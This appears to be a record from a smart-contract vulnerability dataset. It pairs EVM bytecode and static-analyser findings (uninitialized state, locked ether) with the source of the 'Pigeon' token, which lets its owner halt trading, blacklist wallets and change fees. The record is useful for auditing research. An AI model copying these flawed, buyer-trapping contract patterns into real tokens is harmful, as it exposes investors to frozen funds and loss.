0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820e48633b1bc34d1b0ec68359562798ec670e0955a9b4338bb841d94be2dd11e4d64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
546
0x6874b8ee2eda2d65e39110b41d72e7534b92e4c4
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** For teh people , by teh people. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Pigeon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Pigeon"; string private constant _symbol = "PIGEON"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _taaxAddress = payable(0x41427a1488A16a150959347d05C33e54D4d8467e); address payable private _ttaxAddress = payable(0x41427a1488A16a150959347d05C33e54D4d8467e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 90000000000 * 10**9; uint256 public _maxWalletSize = 50000000000 * 10**9; uint256 public _swapTokensAtAmount = 20000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taaxAddress] = true; _isExcludedFromFee[_ttaxAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _ttaxAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 9000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101bb5760003560e01c80637f2feddc116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146105f5578063dd62ed3e1461061e578063ea1644d51461065b578063f2fde38b14610684576101c2565b8063a9059cbb14610564578063bfd79284146105a1578063c3c8cd80146105de576101c2565b80638f9a55c0116100c65780638f9a55c0146104bc57806395d89b41146104e757806398a5c31514610512578063a2a957bb1461053b576101c2565b80637f2feddc1461042b5780638da5cb5b146104685780638f70ccf714610493576101c2565b806349bd5a5e1161015957806370a082311161013357806370a0823114610383578063715018a6146103c057806374010ece146103d75780637d1db4a514610400576101c2565b806349bd5a5e146103185780636d8aa8f8146103435780636fc3eaec1461036c576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd146102855780632fd689e3146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106ad565b6040516101e99190612b12565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612bd2565b6106ea565b6040516102269190612c2d565b60405180910390f35b34801561023b57600080fd5b50610244610708565b6040516102519190612ca7565b60405180910390f35b34801561026657600080fd5b5061026f61072e565b60405161027c9190612cd1565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612cec565b61073f565b6040516102b99190612c2d565b60405180910390f35b3480156102ce57600080fd5b506102d7610818565b6040516102e49190612cd1565b60405180910390f35b3480156102f957600080fd5b5061030261081e565b60405161030f9190612d5b565b60405180910390f35b34801561032457600080fd5b5061032d610827565b60405161033a9190612d85565b60405180910390f35b34801561034f57600080fd5b5061036a60048036038101906103659190612dcc565b61084d565b005b34801561037857600080fd5b506103816108ff565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190612df9565b6109d0565b6040516103b79190612cd1565b60405180910390f35b3480156103cc57600080fd5b506103d5610a21565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612e26565b610b74565b005b34801561040c57600080fd5b50610415610c24565b6040516104229190612cd1565b60405180910390f35b34801561043757600080fd5b50610452600480360381019061044d9190612df9565b610c2a565b60405161045f9190612cd1565b60405180910390f35b34801561047457600080fd5b5061047d610c42565b60405161048a9190612d85565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612dcc565b610c6b565b005b3480156104c857600080fd5b506104d1610d1d565b6040516104de9190612cd1565b60405180910390f35b3480156104f357600080fd5b506104fc610d23565b6040516105099190612b12565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612e26565b610d60565b005b34801561054757600080fd5b50610562600480360381019061055d9190612e53565b610dff565b005b34801561057057600080fd5b5061058b60048036038101906105869190612bd2565b610ffa565b6040516105989190612c2d565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190612df9565b611018565b6040516105d59190612c2d565b60405180910390f35b3480156105ea57600080fd5b506105f3611038565b005b34801561060157600080fd5b5061061c60048036038101906106179190612f1f565b611111565b005b34801561062a57600080fd5b5061064560048036038101906106409190612f7f565b61124b565b6040516106529190612cd1565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d9190612e26565b6112d2565b005b34801561069057600080fd5b506106ab60048036038101906106a69190612df9565b611371565b005b60606040518060400160405280600681526020017f506967656f6e0000000000000000000000000000000000000000000000000000815250905090565b60006106fe6106f7611533565b848461153b565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061074c848484611706565b61080d84610758611533565b61080885604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107be611533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8b9092919063ffffffff16565b61153b565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610855611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d99061300b565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610940611533565b73ffffffffffffffffffffffffffffffffffffffff1614806109b65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099e611533565b73ffffffffffffffffffffffffffffffffffffffff16145b6109bf57600080fd5b60004790506109cd81611fef565b50565b6000610a1a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205b565b9050919050565b610a29611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad9061300b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b7c611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061300b565b60405180910390fd5b677ce66c50e2840000811115610c2157806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c73611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf79061300b565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f504947454f4e0000000000000000000000000000000000000000000000000000815250905090565b610d68611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec9061300b565b60405180910390fd5b8060188190555050565b610e07611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b9061300b565b60405180910390fd5b60008410158015610ea6575060048411155b610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc9061309d565b60405180910390fd5b60008210158015610ef7575060148211155b610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d9061312f565b60405180910390fd5b60008310158015610f48575060048311155b610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906131c1565b60405180910390fd5b60008110158015610f99575060148111155b610fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcf90613253565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061100e611007611533565b8484611706565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611079611533565b73ffffffffffffffffffffffffffffffffffffffff1614806110ef5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d7611533565b73ffffffffffffffffffffffffffffffffffffffff16145b6110f857600080fd5b6000611103306109d0565b905061110e816120c9565b50565b611119611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d9061300b565b60405180910390fd5b60005b838390508110156112455781600560008686858181106111cc576111cb613273565b5b90506020020160208101906111e19190612df9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061123d906132d1565b9150506111a9565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112da611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e9061300b565b60405180910390fd5b8060178190555050565b611379611533565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd9061300b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d9061338c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a29061341e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906134b0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f99190612cd1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614